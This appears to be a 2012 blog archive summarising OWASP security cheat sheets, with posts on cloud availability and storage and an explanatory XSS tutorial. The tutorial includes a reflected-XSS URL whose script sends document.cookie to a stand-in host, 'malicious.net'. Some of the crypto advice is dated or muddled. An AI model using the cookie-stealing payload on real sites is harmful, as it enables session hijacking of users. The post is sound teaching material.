Sunday, November 18, 2012

Security: OWASP Cheat Sheets summary

REST Security Cheat Sheet

  • It is common for REST services to allow multiple response types (e.g. application/xml or application/json, and the client specifies the preferred order of response types by the Accept header in the request. Do NOT simply copy the Accept header to the Content-type header of the response. Reject the request (ideally with a 406 Not Acceptable response) if the Accept header does not specifically contain one of the allowable types.
  • It is important for the service to properly restrict the allowable verbs(GET, POST etc) such that only the allowed verbs will work, all others return a proper response code (for example, a 403 Forbidden). This is because someone can use http HEAD with that URL and we won't be able to check.
  • Authentication for a REST-based service should not take place by passing the user ID and password in path elements of the URL. URL's are commonly cached

Business Requirements

  • Business Model

  • Data Essentials

  • End-Users

  • Partners

  • Administrators

  • Regulations

Infrastructure Requirements
  • Network
  • Systems
  • Infrastructure Monitoring
  • Virtualization and Externalization

Application Requirements
  • Environment
  • Data Processing
  • Access
  • Application Monitoring
  • Application Design
Security Program Requirements
  • Operations
         - identifying and addressing vulnerabilities
  • Change Management
  • Software Development
  • Corporate
            - employee
            - governance requirements

Web Service Security Cheat Sheet

XML Denial of Service Protection
XML Denial of Service is probably the most serious attack against web services. So the web service must provide the following validation:
  • Rule - Validation against recursive payloads
  • Rule - Validation against oversized payloads
  • Rule - Protection against XML entity expansion
  • Rule - Validating against overlong element names. If you are working with SOAP-based Web Services, the element names are those SOAP Actions.
Input Validation Cheat Sheet

Some white list validators have also been predefined in various open source packages that you can leverage. Two packages that provide this are:
It is recommended that you use ESAPI to assist with your input validation needs, rather than writing your own validation routines. The OWASP Enterprise Security API (ESAPI) project has predefined validators defined in the org.owasp.esapi.Validator interface and implemented in the DefaultValidator reference implementation. These include:
  • getValidDate()
  • getValidSafeHTML()
  • getValidInput()
  • getValidNumber()
  • getValidFileName()
  • getValidRedirectLocation()

Cryptography

Relevant COBIT Topics
DS5.18 – Cryptographic key management

Cryptographic systems can provide one or more of the following four services:
  • Authentication:SSL Certs
  • Non-Repudiation:digitally signing
  • Confidentiality
  • Integrity:Cryptographic hashes


Cryptographic Algorithms

  • Asymmetric (also Public/Private Key Cryptography)

PGP and SSL are prime examples of a systems implementing asymmetric cryptography, using the RSA(asym cipher) or other algorithms. Common Asymmetric signature scheme is DSA ( Digital Signature Algorithm)
  • Symmetric

. Common examples of symmetric algorithms are DES, 3DES and AES. DES should no longer be used.

  • Hashes

Hash functions take some data (and possibly a key or password) and generate a unique hash or checksum. MD5 and SHA-1 are common hashing algorithms used today. These algorithms are considered weak (see below) and are likely to be replaced after a process similar to the AES selection. New implementations should consider using SHA-256 instead of these weaker algorithms.
Message Authentication Codes ( MAC), uses keys and are used as hash functional as well.

Use good sources of randomness. JCE as one.


Key Exchange Algorithms

Lastly, we have key exchange algorithms (such as Diffie-Hellman for SSL). These allow use to safely exchange encryption keys with an unknown party. 

Stream ciphers, such as RC4, are vulnerable due to a property of stream ciphers. If you use the same key to “protect” two different documents, the keystream drops out when you XOR the two documents together, leaving the plaintexts XOR’d together. The two plain text documents can be recovered using frequency analysis. 











Specific algorithms to avoid:

MD5 has recently been found less secure than previously thought.
SHA-0 has been conclusively broken.
SHA-1 has been reduced in strength and we encourage a migration to SHA-256, which implements a larger key size

DES was once the standard crypto algorithm for encryption; a normal desktop machine can now break it. AES is the current preferred symmetric algorithm.



Recommendations

Symmetric:
·       Key sizes of 128 bits (standard for SSL) are sufficient for most applications
·       Consider 168 or 256 bits for secure systems such as large financial transactions
Asymmetric:
·       Key sizes of 1280 bits are sufficient for most personal applications
·       1536 bits should be acceptable today for most secure applications
·       2048 bits should be considered for highly protected applications.
Hashes:
·       Hash sizes of 128 bits (standard for SSL) are sufficient for most applications
·       Consider 168 or 256 bits for secure systems, as many hash functions are currently being revised (see above).

  • SSL 2.0 should never be used.
  • multiple domain certificates or enhanced wildcard certificates can be used to provide a listing of multiple names in a certificate.
  • TLS has renegotiation vulnerability which most browsers have corrected.
  • NIST SP 800-52 recommends to use TLS 1.0 with RSA or DSA, with ephemeral Diffie Hellman, 3DES or AES and SHA1 (or SHA256) for integrity protection. MD5 and RC4 are disallowed.




Cryptographic Storage Cheat Sheet

  • 2.3.1 Rule - Only store sensitive data that you need
  • 2.3.2 Rule - Only use strong cryptographic algorithms
    Symmetric Key
             Currently, there exist three FIPS-approved symmetric key algorithms for encryption: Advanced Encryption Standard    (AES), Triple-DES, and Skipjack. AES is the FIPS-Approved symmetric encryption algorithm of choice.

             Asymmetric Key
FIPS 186-3 Digital Signature Standard (DSS) (DSA, RSA, and ECDSA algorithms)
On June 10, 2009, NIST announced the adoption of FIPS 186-3, Digital Signature Standard (DSS), which is a revision of FIPS 186-2. The FIPS specifies three techniques for the generation and verification of digital signatures:

Digital Signature Algorithm (DSA), RSA (as specified in ANSI X9.31 (RSA)), and Elliptic Curve DSA (ECDSA; as specified in ANSI X9.62).

Secure Hash Standard (SHS)
(SHA-1, SHA-224, SHA-256, SHA-384, and SHA-512 algorithms)
The Secure Hash Algorithms (SHA-1, SHA-224, SHA-256, SHA-384, and SHA-512) are specified in FIPS 180-3 dated October 2008, Secure Hash Standard (SHS).


Random Number Generators (RNG)
The algorithms for generating approved random numbers are referenced in FIPS 140-2 Annex C.


Message Authentication (MAC)
Block Cipher-based MAC Algorithm (CMAC)
The CMAC algorithm is specified in Special Publication 800-38B dated May 2005, Recommendation for Block Cipher Modes of Operation: The CMAC Mode for Authentication. CMAC can be considered a mode of operation of the block cipher because it is based on an approved symmetric key block cipher, such as the Advanced Encryption Standard (AES) algorithm currently specified in Federal Information Processing Standard (FIPS) Pub. 197. CMAC is also an approved mode of the Triple Data Encryption Algorithm (TDEA).

Keyed-Hash Message Authentication Code (HMAC)
The Keyed-Hash Message Authentication Code (HMAC) is specified in FIPS 198 dated March 6, 2002, Keyed-Hash Message Authentication Code (HMAC). This algorithm utilizes the Secure Hash Algorithms as an underlying primitive.


  • 2.3.2.1 Rule - Ensure that random numbers are cryptographically strong
Ensure that all random numbers, random file names, random GUIDs, and random strings are generated in a cryptographically strong fashion. Also ensure that random algorithms are seeded with sufficient entropy.

  • 2.3.2.2 Rule - Only use widely accepted implementations of cryptographic algorithms
  • 2.3.2.3 Rule - Prefer authenticated encryption modes
Use cryptographic cipher modes that offer both confidentiality and authenticity. Recommended modes include counter with CBC-MAC (CCM) mode and Galois/counter mode (GCM). These authenticated encryption (AE) modes resist padding oracle attacks which can be used in many cases to recover plaintext from ciphertext without knowledge of the encryption key.

  • 2.3.3 Rule - Store the hashed and salted value of passwords
  • 2.3.4 Rule - Ensure that the cryptographic protection remains secure even if access controls fail
  • 2.3.5 Rule - Ensure that any secret key is protected from unauthorized access
  • 2.3.5.1 Rule - Define a key lifecycle
  • 2.3.5.2 Rule - Store unencrypted keys away from the encrypted data
  • 2.3.5.3 Rule - Use independent keys when multiple keys are required
  • 2.3.5.4 Rule - Protect keys in a key vault
  • 2.3.5.5 Rule - Document concrete procedures for managing keys through the lifecycle
  • 2.3.5.6 Rule - Build support for changing keys periodically
  • 2.3.5.7 Rule - Document concrete procedures to handle a key compromise
  • 2.3.5.8 Rule - Rekey data at least every one to three years
  • 2.3.6 Rule - Follow applicable regulations on use of cryptography
  • 2.3.6.1 Rule - Under PCI DSS requirement 3, you must protect cardholder data
PCI DSS requirement 3 covers secure storage of credit card data. This requirement covers several aspects of secure storage including the data you must never store but we are covering Cryptographic Storage which is covered in requirements 3.4, 3.5 and 3.6 as you can see below:
  • 3.4 Render PAN (Primary Account Number), at minimum, unreadable anywhere it is stored
  • 3.5 Protect any keys used to secure cardholder data against disclosure and misuse
  • 3.6 Fully document and implement all key-management processes and procedures for cryptographic keys used for encryption of cardholder data
Requirement 3.6 mandates that key management processes within a PCI compliant company cover 8 specific key lifecycle steps:
  • 3.6.1 Generation of strong cryptographic keys

  • 3.6.2 Secure cryptographic key distribution
The method used to distribute keys must be secure to prevent the theft of keys in transit. The use of a protocol such as Diffie Hellman can help secure the distribution of keys, the use of secure transport such as SSLv3, TLS and SSHv2 can also secure the keys in transit.
  • 3.6.3 Secure cryptographic key storage
The secure storage of encryption keys including KEK's has been touched on in our description of requirement 3.5 (see above).
  • 3.6.4 Periodic cryptographic key changes
The PCI DSS standard mandates that keys used for encryption must be rotated at least annually.
  • 3.6.5 Retirement or replacement of keys as deemed necessary when the integrity of the key has been weakened or keys are suspected of being compromised
  • 3.6.6 Split knowledge and establishment of dual control of cryptographic keys
  • 3.6.7 Prevention of unauthorized substitution of cryptographic keys
  • 3.6.8 Requirement for cryptographic key custodians to sign a form stating that they understand and accept their key-custodian responsibilities

SSL/TLS

TLS version 1.0 and SSL 3.0 are very similar. SSL 3.1 is identical to TLS 1.0

Handshake process
  • TLS begins by client initiating the handshakre protocol with hello message that includes protocol version, session id, cipher suite, compression method and a random number.
  • server responds with hello msg that includes protocol version, session id, cipher suite, compression method and a random number.
  • server then sends it cert and msg indicating it finished with hello msg.
  • client responds with a key exchange msg. for instance in the case of TLS_RSA_WITH_RC4_CBC_MD5, the client generates a 48 byte premaster secret and encrypts it with the servers RSA public key.
    • 48 byte includes 2 bytes for client version and 46 random bytes 
  • server decrypts the key exchange msg and verifies first two bytes are same as earlier client version.
  • Now both client and server use random numbers exchanged and pre master secret with a pseudo random function (PRF) to generate master secret. 
    • master secret is 48 bytes long. It has 3 128 bit keys; one for keyed MD5 (MAC), one for symmetric(RC4) and one as initialization vector for symmetric algorithm.
  •  client/server send handshake finished to each other.
  • now session keys based on master secret are used for remainder of TLS session.

TLS benefits
  • integrity guarantees
  • replay prevention
Online Certificate status protocol (OCSP) responder to check for certificate revocation status.

Crypto Module
  • components that implement crypto algos
  • components that call and manage crypto functions
  • physical container around the above two.

  • For FIPS 140-2:
    • SSL must be disabled and TLS must be used.


  • Set the "secure" flag for the cookie to avoid sending in http mode ( versus https)
  • Strict transport security will provide a server side control to instruct browsers to use https only.


Database Encryption

Transparent Data Encryption is a new feature in SQL Server 2008 which implements database-level encryption complementing the row-level encryption which is currently available in SQL Server 2005. This protects database access, either directly or by restoring a database backup on another SQL Server instance.


  • Setting up encryption on the server. To do that, we create the database master key on the master database


USE master
GO
CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'mY_P@$$w0rd'


  • Then, we create the server-based certificate which will be used to encrypt the database


CREATE CERTIFICATE NorthwindCert
WITH SUBJECT = 'My DEK Certificate for Northwind database'


  • We will then set the encryption for the Northwind database by creating a database encryption key and password using the certificate we just created.


USE Northwind
GO
CREATE DATABASE ENCRYPTION KEY
WITH ALGORITHM = AES_128
ENCRYPTION BY SERVER CERTIFICATE NorthwindCert
GO

  • The encryption algorithm choice is yours, since a few different options exist.  For guidance on selecting an encryption algorithm on SQL Server, check out this Microsoft TechNet article.  After creating the database encryption key, we'll enable encryption on the database level.


ALTER DATABASE Northwind
SET ENCRYPTION ON

  • Let's backup the encrypted Northwind database this time but using a different filename.


BACKUP DATABASE Northwind
TO DISK = 'C:\Northwind_encrypted.bak'
WITH INIT, STATS = 10

  • The encrypted backup would take a bit longer than the unencrypted backup. If you open the encrypted database backup and search for the string 'A r i a   C r u z' which we searched for earlier, you will no longer find it. 



Session Management

  • Set secure and HttpOnly flags for session cookies. Send CSRF tokens with forms.
  • Throttle requests from a particular user.



Authentication  & Authorization

Relevant COBIT Topics: DS5 – All sections should be reviewed.

  • username and password is suitable for low value systems such as blogs and forums, SMS challenge response is suitable for low value e-commerce systems (in 2005), whilst transaction signing is suitable for high value systems such as high value e-commerce
  • HTTP 1.1 Digest authentication uses a challenge response mechanism, which is reasonably safe for low value applications.
  • Certificate revocation with self-issued certificates is almost impossible in extranet environments.
  • Soft certificates (also known as client-side certificate authentication) are a little stronger than passwords, but suffer from the same problems as passwords and any authentication method which automatically processes credentials.
  • Challenge Response: Challenge response tokens work by taking a value (challenge) from the system and processing them in a cryptographically secure fashion to derive a result.
  • Transaction signing is performed by offline challenge response calculators. The user will be presented with various items to enter into the calculator, and it will calculate a response based upon these inputs. This is the strongest form of authentication as the user has to enter the transaction details – any other transaction will fail to produce a suitable response. This type of authentication has strong non-repudiation properties, is robust against man in the middle attacks, cannot be replayed, and is robust against differing transaction limits.
    For the best effect, at least the following should be stirred into the challenge:
    ·       Reference ID
    ·       From account
    ·       Amount of the transaction

  • Use decent one-way hash algorithm, such as AES-128 in digest mode or SHA-256 bit.
  • Check that the app has a delay between the user submitting the credential and a success or failure is reported. A delay of three seconds can make automated brute force attacks almost unfeasible. A progressive delay (3 seconds then 15 then 30 then disconnect) can make casual brute force attacks completely ineffective
  • Event correlation software such as Simple Event Correlator (SEC) can be used to define rules to parse through the logs and generate alerts based on aggregated events. This could also be done by adding a Snort rule for alerting on HTTP Authorization Failed error messages going out from your web server to the user, and SEC can then be used to aggregate and correlate these alerts.
  • Note: Any web site that is mandated or legally required to be accessible must not use CAPTCHA’s. if you can't:
    • You have to provide alternate means of registration etc.
    • deter the use of automated sign ups by using the “no follow” tag. Search engines will ignore hyperlinks and pages with this tag set, immensely devaluing the use of link spamming




Session Management
  • Relevant COBIT Topics
    • PO8 – All sections should be reviewed
    • PO8.4 – Privacy, Intellectual proeprty and data flow
  • The session ID value must provide at least 64 bits of entropy (if a good PRNG is used, this value is estimated to be half the length of the session ID).
  • the “Secure” cookie attribute (see below) must be used to ensure the session ID is only exchanged through an encrypted channel. The usage of an encrypted communication channel also protects the session against some session fixation attacks where the attacker is able to intercept and manipulate the web traffic to inject (or fix) the session ID on the victims web browser [4].
  • Web applications should never switch a given session from HTTP to HTTPS, or viceversa, as this will disclose the session ID in the clear through the network
  • Web applications should not mix encrypted and unencrypted contents (HTML pages, images, CSS, Javascript files, etc) on the same host (or even domain - see the “domain” cookie attribute), as the request of any web object over an unencrypted channel might disclose the session ID
  • Web applications should make use of “HTTP Strict Transport Security (HSTS)” (previously called STS) to enforce HTTPS connections.
  • The “Secure” cookie attribute instructs web browsers to only send the cookie through an encrypted HTTPS (SSL/TLS) connection.
  • Forcing the web application to only use HTTPS for its communication (even when port TCP/80, HTTP, is closed in the web application host) does not protect against session ID disclosure if the “Secure” cookie has not been set - the web browser can be deceived to disclose the session ID over an unencrypted HTTP connection. The attacker can intercept and manipulate the victim user traffic and inject an HTTP unencrypted reference to the web application that will force the web browser to submit the session ID in the clear.
  • The “HttpOnly” cookie attribute instructs web browsers not to allow scripts (e.g. JavaScript or VBscript) an ability to access the cookies via the DOM document.cookie object. This session ID protection is mandatory to prevent session ID stealing through XSS attacks.
  • The “Domain” cookie attribute instructs web browsers to only send the cookie to the specified domain and all subdomains. If the attribute is not set, by default the cookie will only be sent to the origin server. The “Path” cookie attribute instructs web browsers to only send the cookie to the specified directory or subdirectories (or paths or resources) within the web application. If the attribute is not set, by default the cookie will only be sent for the directory (or path) of the resource requested and setting the cookie.
    • It is recommended to use a narrow or restricted scope for these two attributes. In this way, the “Domain” attribute should not be set (restricting the cookie just to the origin server) and the “Path” attribute should be set as restrictive as possible to the web application path that makes use of the session ID.
  • it is recommended not to mix web applications of different security levels on the same domain. Vulnerabilities in one of the web applications would allow an attacker to set the session ID for a different web application on the same domain by using a permissive “Domain” attribute (such as “example.com”) which is a technique that can be used in session fixation attacks
  • Although the “Path” attribute allows the isolation of session IDs between different web applications using different paths on the same host, it is highly recommended not to run different web applications (especially from different security levels or scopes) on the same host. Other methods can be used by these applications to access the session IDs, such as the “document.cookie” object. Also, any web application can set cookies for any path on that host.
  • Cookies are vulnerable to DNS spoofing/hijacking/poisoning attacks, where an attacker can manipulate the DNS resolution to force the web browser to disclose the session ID for a given host or domain.
  •  If a cookie presents the “Max-Age” (that has preference over “Expires”) or “Expires” attributes, it will be considered a persistent cookie and will be stored on disk by the web browser based until the expiration time. Typically, session management capabilities to track users after authentication make use of non-persistent cookies. 
  •  The session ID must be renewed or regenerated by the web application after any privilege level change within the associated user session.
    •  The session ID regeneration is mandatory to prevent session fixation attacks [3], where an attacker sets the session ID on the victims user web browser instead of gathering the victims session ID
  • All sessions should implement an absolute timeout, regardless of session activity. This timeout defines the maximum amount of time a session can be active, closing and invalidating the session upon the defined absolute period 
  •  Web applications should focus on detecting anomalies associated to the session ID, such as its manipulation. The OWASP AppSensor Project [7] provides a framework and methodology to implement built-in intrusion detection capabilities within web applications focused on the detection of anomalies and unexpected behaviors, in the form of detection points and response actions.
  • bind the session ID to other user or client properties, such as the client IP address, User-Agent, or client-based digital certificate
    • A skilled attacker can bypass these controls by reusing the same IP address assigned to the victim user by sharing the same network (very common in NAT environments, like Wi-Fi hotspots), by using the same outbound web proxy (very common in corporate environments), or by modifying his User-Agent to look exactly as the victim users does.
    • Can also tie the session to a particular browser by using a hash of the server-side IP address (REMOTE_ADDR) and if the header exists, PROXY_FORWARDED_FOR. Note that you shouldn’t use the client-forgeable headers, but take a hash of them. If the new hash doesn’t match the previous hash, then there is a high likelihood of session replay.
  •  In situations where the web application source code is not available or cannot be modified or requires complete redesign, or to complement the web application defenses, and with the goal of keeping the web application as secure as possible, it is recommended to use external protections such as Web Application Firewalls (WAFs) that can mitigate the session management threats
  •  The open-source ModSecurity WAF, plus the OWASP Core Rule Set [6], provide capabilities to detect and apply security cookie attributes, countermeasures against session fixation attacks, and session tracking features to enforce sticky sessions.
  •  Form data should not contain hidden fields – if it is hidden, it probably needs to be protected and only available on the server side. However, hidden fields can (and should) be used for sequence protection and to prevent brute force pharming attacks. 

  • storing all state within each request(in contrast to storing in session), leads to extensive use of hidden fields and extra database queries to avoid server-side session management, and is vulnerable to replay and request forgery attacks, as well as producing complex code.
  • Some frameworks use shared areas of the web server’s disk to store session data. In particular, PHP uses /tmp on Unix and c:\windows\temp on Windows by default. These areas provide no protection for session data, and may lead to compromise.
  • Page and Form Tokens
    • Page specific tokens or "nonces" may be used in conjunction with session specific tokens to provide a measure of authenticity when dealing with client requests.
    • Page tokens are often stored in cookies or query strings and should be completely random. It is possible to avoid sending session token information to the client entirely through the use of page tokens, by creating a mapping  
  • If a session handler issues tokens which are predictable, an attacker does not need to capture session variables from the remote users – they can simply guess.
  • Consider using "booby trapped" session tokens that will detect a brute force attack.Then: 
    • Go slow or ban the originating IP address (which can be troublesome as more and more ISPs are using transparent caches to reduce their costs. Because of this: always check the "proxy_via" header)
    • Apache web server modules, such as mod_dosevasive and mod_security, that could be used for this kind of protection. Although mod_dosevasive is used to lessen the effect of DoS attacks, it could be rewritten for other purposes as well 
  • Associate the session ID, IP address, and other attributes from the user’s headers in a hash. If the hash changes, and more than one of the details has changed, it is likely that a session fixation attack has occurred.
  • Use Brutus to check if you can brute force a session and resume it. If yes, then session id requires greater entropy.


 Data Validation Strategies
There are four strategies for validating data, and they should be used in this order:
  • Accept known good
  • Reject known bad. If you don't expect to see characters such as %3f or JavaScript or similar, reject strings containing them:
  • Sanitize: Eliminate or translate characters (such as to HTML entities or to remove quotes) in an effort to make the input "safe":
  • No validation: not a strategy at all :-) 
Tips:
  • Code containing hidden fields should be rejected during code reviews.
  • Some strings may be received in encoded form. It is essential to send the correct locale to the user so that the web server and application server can provide a single level of canoncalization prior to the first use.
  • Do not use getReader() or getInputStream() as these input methods do not decode encoded strings. If you need to use these constructs, you must decanoncalize data by hand.
  • Relevant COBIT Topics
    • DS11 – Manage Data – All sections should be reviewed
    • DS11.9 – Data processing integrity
    • DS11.20 – Continued integrity of stored data


This attack, uses a weakness in the HTTP protocol definition to inject hostile data into the user’s browser. Klein describes the following classes of attacks:
·       Cross-Site Scripting (XSS)
·       Web Cache Poisoning (defacement)
·       Cross User attacks (single user, single page, temporary defacement)
·       Hijacking pages
·       Browser cache poisoning
In HTTP, the headers and body are separated by a double carriage return line feed sequence. If the attacker can insert data into a header, such as the location header (used in redirects) or in the cookie, and if the application does not protect against CRLF injection, it is quite likely that the application will be vulnerable to HTTP Response Splitting. The attack injects two responses (thus the name), where the first response is the attacker’s payload, and the second response containing the rest of the user’s actual output, is usually ignored by the web server. 

Java generally does not contain the ability to evaluate dynamic JSPs. However, there are two exceptions to this:
·       Dynamic JSP inclusion (<jsp:include ...>)
·       Using a third party JSP eval taglibs.
·       Portals and other community-based software often require the evaluation of dynamic code for templates and skinning. If the portal software requires dynamic includes and dynamic code execution, there is a risk of Java or JSP code injection.

To combat this, the primary defenses are to
·       Always prefer static include ( <% include ... %> )
·       Not allow the inclusion of files outside of the server by using Java 2 Security policies
·       Establish firewall rules to prevent outbound Internet connectivity
·       Ensure that code does not interpret user data without prior validation.

Generally, dynamic inclusion and dynamic code evaluation should be frowned upon.







Sunday, October 28, 2012

Cloud Computing - High Availability (HA) and Disaster Recovery

The goal of the traditional High Availability (HA) architecture is to mitigate or prevent application downtime or outages due to failures caused by application errors or any infrastructure failure. Disaster recovery primarily deals with falling back on the secondary site in case of a failure at the primary site.


HA focuses on overcoming technology failures such as network and storage failures. DR focuses on overcoming the physical data center or infrastructure disasters. Both HA and DR focus on ensuring that applications are available 24x7 with zero or minimal downtime caused by planned or unplanned outages


Recovery Time Objective (RTO):  how quickly an application must be back in operation following a failure


Recovery Point Objective (RPO):


A simple way to achieve HA/DR is by using backup and restore operations or by using cluster architecture  and finally using fault tolerant hardware. Needless to say not all organizations use fault tolerant hardware but backup/restore becomes a very slow process and could take hours or days.


==
 Data replication and HA clustering can be combined to build what is called a "shared nothing cluster". The clustering technology ensures that applications and servers are operational and can perform a failover from one server to another in the event that any problems are detected. The data replication software handles mirroring data needed by the application between the servers so that no matter which server the application is running on, the data is available to it. The data replication can occur across either a LAN or across a WAN, depending on where the servers in the cluster are located.


==

Sunday, October 14, 2012

cloud Computing - Storage


Besides required features, performance, and cost, the criteria that typically drive customer choices are the reliability, availability, and scalability of a given storage solution. SANs are specifically designed to meet these additional criteria and satisfy the requirements of mission-critical business applications. The data center infrastructures built to run these applications typically handle large volumes of important information and data. As such, they must operate reliably and continually and be able to grow to meet increasing business volume, peak traffic, and an ever-expanding number of applications and users. The key capabilities that SANs provide to meet these requirements include

Storage clustering
Ease of connectivity
Storage consolidation
LAN-free backup
Server-less backup
Ease of scalability
Storage and server expansion
Bandwidth on demand
Load balancing


===

LV 1871 succeeded in virtualizing its servers and moving its application code base, but it felt it could take virtualization even further to benefit the business. “Our storage was principally network-attached at this point,” said Triebs. “We believed that we would improve both IT cost ratios and our computing performance for the company and its agents if we virtualized storage, and that this would also improve our capabilities of failover and data mirroring.”
One of the data center agility concerns was the time and effort it took to re-provision storage with LV 1871’s network-attached storage orientation. “With the SCSI-attached storage, we did not have a dynamic infrastructure that would allow us to quickly re-provision storage when we needed to,” said Triebs. “Instead, we had to concern ourselves with the model of the hardware, the space required, a buy decision and finally implementation. This end to end process could take as long as six to twelve weeks, and it was an expensive use of internal IT resources.”
LV 1871 made the decision to invest in an initially more expensive SAN (storage-attached network) solution that would pave the way for a virtualized storage framework, where different storage media could easily be tiered into fast access, more expensive disk and lower access, cheaper disk—with deployments and provisioning being accomplished in a matter of minutes, not weeks. “The virtual storage backbone not only reduced our internal costs and our speed of response, but it also allowed us to improve our failover and backup mechanisms for our two separate data centers,” said Triebs. “Data mirroring between the two data centers now takes minutes.” The virtual storage backbone has dramatically improved performance. Virtualization has given LV 1871 vendor independence as well, which lends more flexibility to buying decisions. Additional return on investment (ROI) is being seen in the new tiered storage strategy with its reduction of wasted storage space. “It costs us roughly $20/GB for faster access, tier one storage, while tier two, slower access storage costs around $8/GB,” said Triebs. “In our new tiered storage structure, we find that only one-third of our data is constantly accessed and needs to be on tier one, and we have organized our data this way. This is a primary area where we are realizing data center savings.”
Along the way, Triebs and his staff learned valuable lessons about working with virtualized server and storage infrastructures. “One was a simple practice to remember to delete virtual machines when they were no longer needed,” said Triebs. “On the data side, it is also imperative to think about technologies like data deduplication before doing backups, so you do not store extraneous data. Finally, when you consider going to a LAN/SAN virtual infrastructure as your backbone, you need to consider architectural concepts, such as a split fabric with the use of virtual LANs (VLANs)—and when it comes to security you want your DMZ and LAN to be separate from each other, and hosted on separate hardware.”


===





tiered storage
In a tiered strategy, Tier 1 storage is reserved for demanding applications, such as databases and e-mail, that require the highest performance and can justify the cost of serial-attached SCSI, Fibre Channel SANs, high-performance RAID levels, and the fastest available spindles--or even SSD drives.



Direct attached storage (DAS) is still the top choice of our survey participants for Tier 1 storage of applications such as databases and e-mail. Fibre Channel came in a close second, with 45% of respondents reporting use of Fibre Channel SANs, mainly for Tier 1 storage. Fibre Channel remains strong despite countless predictions of its rapid demise by most storage pundits--and the downright offensive "dead technology walking" label attached by a few.
One survey finding that's not completely unexpected--we were tipped off by similar findings in previous InformationWeek Analytics State of Storage reports--but is nonetheless puzzling is the poor showing by iSCSI SANs, which are the main Tier 1 storage platform for just 16% of respondents. That's less than half the number who report using NAS, our third-place response. Seems most IT pros didn't get the memo that iSCSI would force Fibre Channel into early retirement.
In all seriousness, the continued dearth of interest in iSCSI is mystifying given the current economic backdrop, the widespread availability of iSCSI initiators in recent versions of Windows (desktop and server) and Linux, and the declining cost of 1-GB and 10-GB connectivity options. We think the slower-than-predicted rate of iSCSI adoption--and the continued success of Fibre Channel--is attributable to a few factors. First, the declining cost of Fibre Channel switches and host bus adapters improves the economic case for the technology. Second, we're seeing slower-than-expected enterprise adoption of 10-Gbps Ethernet, leaving iSCSI at a performance disadvantage against 4-GB Fibre Channel.
However, iSCSI's performance future does look bright thanks to emerging Ethernet standards such as 40 Gbps and 100 Gbps that will not only increase the speed limit, but also accelerate adoption of 10-Gbps Ethernet in the short term. In our practice, we also see a reluctance among CIOs to mess with a tried-and-true technology such as Fibre Channel, particularly for critical applications like ERP, e-mail, and enterprise databases. Sometimes, peace of mind is worth a price premium.

tier 2
Tier 2 comprises the less expensive storage, such as SATA drives, NAS, and low-cost SANs, suitable for apps like archives and backups, where high capacity and low cost are more important than blazing speed. Our survey shows that NAS is the Tier 2 architecture of choice, used by 41% of respondents. DAS is the main Tier 2 storage of 34% of respondents. Once again, iSCSI SAN finished last, with a mere 17% of respondents using the technology primarily for Tier 2 storage. This is an even more surprising result than for Tier 1--we expected iSCSI's low cost relative to Fibre Channel SANs to result in a healthy showing here.


Tier 3 storage typically consists of the lowest-cost media, such as recordable optical or WORM (write once, read many) disks, and is well suited for historical archival and long-term backups.


== growing importance of data deduplication.. but more on that some other time.

Sunday, September 30, 2012

Security: XSS and Injection attacks and prevention

Background
Typically, an attacker tries to interact with the server in unexpected ways to perform unauthorized actions and access unauthorized data.

XSS type attacks are different, because the attacker's primary target is the application's other users. The vulnerabilities still exist within the application itself. However, the attacker is using these vulnerabilities to carry out malicious actions against another end user.

Attacks against other users have many complexities are not not well understood than server side ones.

Overview
XSS is one of the most prevalent web application vulnerability found in the wild (2nd most common as per OWASP).

XSS typically represents a critical security weakness within an application. It can often be combined with other vulnerabilities for malicious purposes. 
It's even possible to turn an XSS attack into a virus or self-propagating worm


What happened?
  • Maybe the user did something wrong.

Stored XSS attacks can compromise a users system without any insecure action from her.

  • But the attacker doesn't own my App.
It's possible to own an App.

Type of XSS attacks

  • Reflected XSS Vulnerabilities
  • Stored XSS Vulnerabilities
  • DOM-Based XSS Vulnerabilities


Reflected XSS Vulnerabilities

Reflected attacks are those where the injected code is reflected off the web server and are commonly delivered to victims via an e-mail message.
Let's say a web application has a dynamic page to display error messages. 

http://example.com/error.jsp?msg=An+error+occurred

This works well for the application because the app can now control the error page by a parameter and use this page to display all the error messages in the application.

The problem
The msg parameter is not filtered or sanitized and the value is simply inserted in the error page. This allows an attacker to specify a malicious script in the message parameter and the web page will simply "reflect" it back.

A benign example:
http://example.com/error.jsp?msg=<script>alert(1)</script>

This hardly seems threatening, a user executes a script in his own browser, in his own session and for the same same web app. Right?

How to exploit the vulnerability?
Let's walk through a few steps to see how one can exploit this vulnerability.
A user logs into a web application and is issued a session id:
Set-Cookie: sessId=123
For now, let's assume ( somehow) the attacker feeds the below URL to the user:
http://example.com/error.jsp?message=<script>var+i=new+Image
;+i.src="http://malicious.net/"%2bdocument.cookie;</script>
The user clicks on the URL provided and the browser and the server response contains the Javascript the attacker embedded.

The users browser executes the Javascript which results in the current session token to be sent to the attacker's website identifed above as "malicious.net". 

The attacker is now free to hijack the users session and gain access to the users personal information or perform actions on his behalf.

But wait...
Since the attacker got the user to click on something extraneous. Why doesn't the attacker execute a malicious script directly from his site?
because browsers segregate content based on the domain and cookies can only be accessed by the domain that issued them.

Someone might question the feasibility of this attack especially since it requires the user to "click" on something extraneous to activate this attack. Which user would do that?
Well, "Administrators" in Apache Software foundation ended up doing that. Refer:http://blogs.apache.org/infra/entry/apache_org_04_09_2010

Well, the CEO of a webmail provider did. Refer http://blogs.zdnet.com/security/?p=3514 

Summary
Even though an attacker's script originated somewhere else it was able to gain access to the cookies issued 
by example.com and that is why we call it cross-site scripting.

Stored XSS Vulnerabilities

Stored XSS attacks happen when data submitted by one user is stored in the application and then is displayed to other users without being filtered or sanitized.
how to exploit the 
The attacker will submit some data including malicious content to the web app which stores this data. For example:
     A FAQ website accepts FAQ entries from end users and stores it in a web page that is available to the other users. An attacker can submit content with malicious javascript in the FAQ entry that ends up being stored in the website's content and is rendered every time someone visits the page.

    A user ( or victim) ends up viewing the page allowing the "stored" malicious content to execute in his browser.

Reflected attacks look more glamorous but Stored XSS attacks are generally more dangerous. Mostly because in the reflected attack, the attacker needs a user to visit a a crafted link. 
In the case of stored attack, the attacker exploits the vulnerability and simply waits for a user to visit the affected page.
Another reason is because the reflected attack requires a session to exist before it can be hijacked immediately otherwise the user has to be coaxed into log-in in the application.

DOM-Based XSS Vulnerabilities
Reflected and Stored are server side execution issues while DOM is client side. DOM-based XSS vulnerabilities appear more like reflected XSS bugs than the stored XSS ones. The attacker typically needs to induce a user to access a crafted URL containing malicious code.

Let's walk through steps similar to the reflected XSS example:

  • Let's say a web application has a dynamic page to display error messages. 
http://example.com/error.jsp?msg=An+error+occurred

